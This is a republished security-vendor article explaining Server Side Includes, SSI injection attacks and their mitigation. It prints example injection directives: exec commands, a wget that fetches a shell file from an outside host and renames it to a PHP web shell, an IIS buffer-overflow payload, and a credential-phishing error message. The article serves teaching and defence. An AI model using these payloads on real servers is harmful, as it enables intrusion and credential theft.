Server Side Includes – All You Need to Know About SSI

Server Side Includes – All You Need To Know About SSI
Share on email
Share on facebook
Share on twitter
Share on linkedin
Share on reddit

In web development, directives define custom tags translated to regular Javascript, HTML, or CSS to modify a page’s Document Object Model. Server Side Inclusion represents the directives in a web document’s request header field that instructs the server to include additional data within the HTML output for dynamic content delivery.

This article explores what a Server Side Includes mechanism is, how attackers exploit it to orchestrate cyberattacks, common SSI attack examples, and frequently asked questions. 

What is Server-Side Includes (SSI)?

Server-Side Includes is a mechanism that helps developers insert dynamic content into HTML files without requiring knowledge of the server or client-side programming language specification. When the edge server executes an SSI, it reads through the file’s contents, finds the directives, acts on them, and then sends the resulting file to the browser/client app. This makes SSI a powerful feature for applications such as dynamic content assembly, file includes, inserting common header files, displaying content file sizes, and last modified dates.

In instances where a web server accepts user-controllable input and includes it in response headers that are parsed for SSI directives, attackers can inject directives or modify existing ones for malicious purposes. This attack mechanism is commonly known as the SSI injection attack, which allows the adversary to execute malicious server code or gain access to content that was initially meant to be hidden. SSI injection attacks arise as a result of various inherent vulnerabilities of an application, including:

1. Improper neutralization of directives in static code

2. Improper output encoding & escaping

3. Failure to sanitize particular elements

SSI Basic Directive

The basic format of an SSI directive takes the form:

<!--#command parameter=”value” … >

Primary SSI directives include:

1. config – The config command is a control directive used to modify various SSI components. Includes parameters such as the default server error message (errmsg), file size format (sizefmt), and the date & time format (timefmt)

2. echo – Inserts SSI and CGI environment variables values while including optional encoding arguments.

3. exec – Executes an external application, following which the execution output is inserted into the document. This control directive supports cmd arguments from any client app or a cgi program.

4. flastmod – The last time and date a specified file was modified. It accepts both a virtual path (virtual) and a relative pathname (file) as arguments for locating the document on the server.

5. include – Inserts text from another document into the current file. It also accepts file and virtual arguments to locate the document.

6. printenv – Displays all environment variables within the server.

7. set – A control directive that sets a server-side variable to the specified value.

Serves Side Includes Examples

Attackers can remotely perform arbitrary server code execution or inject malicious scripts into HTML pages and response headers by exploiting SSI vulnerabilities. Some commonly known examples of SSI exploits include:

Discovering SSI Vulnerabilities

Attackers test whether the application is vulnerable to SSI injection by inserting characters used in SSI directives into input fields. These include:

< ! # = / - > and [a-z A-Z 0-9]

Adversaries can also determine whether an application accepts SSI directives by searching for pages with the .stm, .shtm, and .shtml file extensions. If a web server permits SSI directives without input validation, attackers can manipulate OS processes and file systems under the hood.

OS Command Execution

These commands are targeted toward manipulating the origin server’s operating system to access files and perform privileged actions. The commands vary according to the operating system deployed on the server.

Examples of Linux command exploits include:

Listing the files in the current directory:

<!--#exec cmd=”ls” -- >

Accessing server configuration files of the root directory:

<!--#exec cmd="cd /root/dir/" -- >

Executing an external script:

<!--#exec cmd="wget http://darwin.com/shell.txt | 
rename shell.txt shell.php" -- >

Examples of Windows command exploits include:

Listing files within a directory:

<!--#exec cmd="dir" -- >

Gaining access to content within a directory:

<!--#exec cmd="cd C:\admin\dir" -- >

Obtaining System Privileges

Older versions of the Internet Information Services (IIS) server software include a significant vulnerability within the dynamic link library (ssinc.dll) that permits buffer overflows. Attackers use this library while exploiting the interpreter that processes the SSI directives from client devices. A typical attack flow involves the following orchestration stages:

First, the attacker creates a malicious page with relevant code, similar to:

<!--#include file=" UUUUUUUU...UU" -->

Quick note: For a successful attack, the number of Us is usually longer than 2049.

Assuming this page is called ssi_payload.html and is hosted on the attackers’ website www.attackers-bad-site.com, the hacker will force the application to load the page via a path transversal attack. Assuming the legitimate page had a URL similar to:

www.darwin.com/index.asp?page=clients.asp

The attacker will craft a query string redirecting the request to a malicious URL of the form:

www.darwin.com/index.asp?page=www.atackers-bad-ste.com/ssi_over.shtml

A blank page returned by the IIS service implies a successful buffer overflow operation, which the hacker can further exploit to manipulate data flows and execute malicious code.

Access and Set Server Configuration Details

SSI exploits are most commonly used to access and configure server information. These include:

Changing the server error response message output:

<!--#config errmsg="File not found, enter username 
and password"-- >

Displaying the filename of the current document:

<!--#echo var="DOCUMENT_NAME" -- >

Displaying when the document was last modified:

<!--#echo Var="LAST_MODIFIED" -->

Displaying the filename and virtual path:

<!--#echo var="DOCUMENT_URI" -- >

Displaying the region’s date:

<!-- #echo Var="DATE_LOCAL" -->

Controlling the format of the date and current time output:

<!--#config timefmt="A %B %d %Y %r"-- >

Accessing the size of a selected log file using the Fsize command:

<!--#fsize file="logs.shtml" -->

FAQs on Server-Side Includes (SSI)

What is the difference between SSI and CGI scripts?

Both CGI and SSI are additions for content assembly in dynamic web servers. The Common Gateway Interface (CGI) specification helps build dynamic web pages by processing information specified in scripts. Although CGI enables the webserver to execute external programs while processing user requests, the standard is relatively inefficient for modern web technologies. On the other hand, SSI uses directives in the request header field to instruct the browser to include additional personalized content when displaying the document. One of the significant benefits of Server Side Includes over CGI scripts is that it eliminates the need to write directives in a specific client or server-side programming language. 

How is SSI enabled on a website?

SSL is enabled by including SSI directives in the web document, then saved as a .shtm or .shtml file extension. This instructs the server to interpret the directives for appropriate rendering while the web authoring software treats these directives as comments. 

What is the severity level of an SSI injection attack?

While SSI vulnerabilities are uncommon, they pose a high risk since they allow hackers to access and exploit protected file directories, such as credentials or log file collections. Hackers commonly target websites with information on customer credit cards, contact details, query strings, and other data that can be used to build malicious request headers.

Like other injection flaws, an SSI attack allows for remote server code execution, allowing the hacker to interfere with the web server’s availability and functionality through malicious personalized content. 

How to detect and identify SSI vulnerabilities in a website

Identifying SSI injection points involves investigating user-controllable inputs that can transport SSI directives to the webserver. Security testers can leverage server mapping, spidering, and proxy tools to record various links within the website and note those that include SSI parameters in the URL. Automated scanning tools, such as the Crashtest Security Suite, additionally expedite the vulnerability scanning and testing process for quicker remediation. 

How do I mitigate and prevent SSI vulnerabilities?

Strategies to prevent SSI injection exploits include:

1. Properly sanitizing HTML inputs

2. Encoding server output before rendering pages

3. Disabling SSI in pages where it is not necessary

Conclusion

SSI enables interactivity in websites by instructing the webserver to display additional information in the HTML output. Though this makes it easier to manage repetitive content while avoiding unnecessary duplication, SSI vulnerabilities may allow malicious script injection and arbitrary code execution.

Crashtest Security Suite helps identify and remediate SSI vulnerabilities through continuous scanning and penetration testing. The platform helps validate input points while checking for command injection flaws, enabling organizations to eliminate security blind spots.

To know how Crashtest Security can help decrease your risk exposure through automated pentesting, try a 14-days free demo today. 

This article has already been published on https://crashtest-security.com/server-side-includes/ and has been authorized by Crashtest Security for a republish.

Featured Image Courtesy – Photo by Arnold Francisca on Unsplash

Share on email
Share on facebook
Share on twitter
Share on linkedin
Share on reddit
0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x